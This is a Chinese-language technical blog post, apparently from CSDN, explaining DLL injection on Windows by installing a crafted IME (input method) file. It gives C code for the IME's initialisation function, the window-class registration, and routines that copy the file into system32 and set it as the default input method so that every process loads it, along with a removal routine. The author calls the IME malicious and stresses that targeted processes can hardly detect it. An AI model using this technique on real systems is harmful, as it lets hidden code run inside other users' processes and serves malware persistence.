LL注入技术之输入法注入
输入法注入原理是利用Windows系统中在切换输入法需要输入字符时,系统就会把这个输入法需要的ime文件装载到当前进程中,而由于这个Ime文件本质上只是个存放在C:\WINDOWS\system32目录下的特殊的DLL文件,因此我们可以利用这个特性,在Ime文件中使用LoadLibrary()函数待注入的DLL文件。
1.编写Ime文件
输入法的Ime文件其实就是个显式导出19个特殊函数的DLL文件。如下图所示:
![](https://img-blog.csdn.net/20160322114355258?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQv/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center)
- ImeConversionList
- ImeConfigure
- ImeDestroy
- ImeEscape
- ImeInquire
- ImeProcessKey
- ImeSelect
- ImeSetActiveContext
- ImeSetCompositionString
- ImeToAsciiEx
- NotifyIME
-
- ImeRegisterWord
- ImeUnregisterWord
- ImeGetRegisterWordStyle
- ImeEnumRegisterWord
-
- UIWndProc
- StatusWndProc
- CompWndProc
- CandWndProc
如果想编写输入法程序,那么这19个导出函数都需要仔细的研究,但是对于只想实现注入的我们,现在只需要对ImeInquire()有比较深的认识就可以了。ImeInquire()是启动并初始化当前Ime输入法函数,他的声明如下:
- BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo,LPTSTR lpszUIClass,LPCTSTR lpszOption)
第一个参数lpIMEInfo比较重要,用于输入对Ime输入法初始化的内容结构,如果这个结构填写错误,就会导致输入法不能正常运行。第二个参数是输入一个class类名,我们需要先使用RegisterClassEx()注册出一个窗口类。初始化ImeInquire()主要代码如下所示:
-
- BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo,LPTSTR lpszUIClass,LPCTSTR lpszOption)
- {
-
-
- lpIMEInfo->dwPrivateDataSize = 0;
- lpIMEInfo->fdwProperty = IME_PROP_KBD_CHAR_FIRST |
- IME_PROP_IGNORE_UPKEYS |
- IME_PROP_END_UNLOAD;
-
- lpIMEInfo->fdwConversionCaps = IME_CMODE_FULLSHAPE |
- IME_CMODE_NATIVE;
-
- lpIMEInfo->fdwSentenceCaps = IME_SMODE_NONE;
- lpIMEInfo->fdwUICaps = UI_CAP_2700;
-
- lpIMEInfo->fdwSCSCaps = 0;
-
- lpIMEInfo->fdwSelectCaps = SELECT_CAP_CONVERSION;
-
-
- _tcscpy(lpszUIClass,CLSNAME_UI);
- return TRUE;
- }
注册出一个窗口类的主要代码如下:
- BOOL ImeClass_Register(HINSTANCE hInstance)
- {
- WNDCLASSEX wc;
- wc.cbSize = sizeof(WNDCLASSEX);
- wc.style = CS_VREDRAW | CS_HREDRAW | CS_DBLCLKS | CS_IME;
- wc.lpfnWndProc = UIWndProc;
- wc.cbClsExtra = 0;
- wc.cbWndExtra = 2 * sizeof(LONG);
- wc.hInstance = hInstance;
- wc.hCursor = LoadCursor( NULL, IDC_ARROW );
- wc.hIcon = NULL;
- wc.lpszMenuName = (LPTSTR)NULL;
- wc.lpszClassName = CLSNAME_UI;
- wc.hbrBackground = NULL;
- wc.hIconSm = NULL;
-
- if( !RegisterClassEx( (LPWNDCLASSEX)&wc ) )
- return FALSE;
-
- return TRUE;
- }
CLSNAME_UI是一个宏定义,如下:
- #define CLSNAME_UI _T("DLLCLASSNAME")
在DllMain进程加载的过程中注册窗口类,主要代码如下:
PS: 编写DLL时需要注意,当作IME文件的Dll需要有版本信息,Version资源中FILETYPE为VFT_DRV, FILESUBTYPE为VFT2_DRV_INPUTMETHOD,否则调用ImmInstallIME安装时会失败
2.编写装载输入法程序:
装载输入法的基本逻辑就是将他们编写的输入法设置为默认输入法,这样只要系统中所有进程都会默认加载他们的恶意输入法程序。
黑客们首先需要得到系统当前的默认的输入法,以便恢复时使用。然后需要将ime文件拷贝到C:\WINDOWS\system32目录下,最后将装载成功后将我们的输入法设置成为默认输入法,主要代码如下:
- void CMfcImeInjectDlg::OnBnClickedAttach()
- {
-
-
- ::SystemParametersInfo(
- SPI_GETDEFAULTINPUTLANG,
- 0,
- &m_retV,
- 0);
-
-
- CopyFile(
- _T("D:\\MyDll\\ImeInject\\Debug\\MyImeDll.ime"),
- _T("C:\\WINDOWS\\system32\\MyImeDll.ime"),
- FALSE);
-
-
- m_hImeFile = ImmInstallIME(
- _T("MyImeDll.ime"),
- _T("我的输入法"));
-
- if( ImmIsIME(m_hImeFile) )
- {
-
- SystemParametersInfo(
- SPI_SETDEFAULTINPUTLANG,
- 0,
- &m_hImeFile,
- SPIF_SENDWININICHANGE);
- MessageBox(_T("安装输入法成功"));
- }
- }
3.编写卸载输入法:
当新建进程不再需要注入时,我们就需要卸载输入法。卸载输入法时需要先判定系统当前的输入法不是其原有默认输入法,确认无误后将系统的默认输入法恢复后,再将恶意输入法卸载即可,主要代码如下:
- void CMfcImeInjectDlg::OnBnClickedDettach()
- {
-
- ::SystemParametersInfo(
- SPI_SETDEFAULTINPUTLANG,
- 0,
- &m_retV,
- SPIF_SENDWININICHANGE);
- if (UnloadKeyboardLayout(m_hImeFile))
- {
- MessageBox(_T("输入法卸载成功"));
- }
- }
-
输入法注入的实现需要对输入法IME文件的生成有所了解,API使用较多,所以实现起来比较难,但是由于系统存在多个输入法,被注入进程很难判别当前是可信赖输入法还是用于注入的恶意输入法,所以难以阻止,大大提高了注入的几率。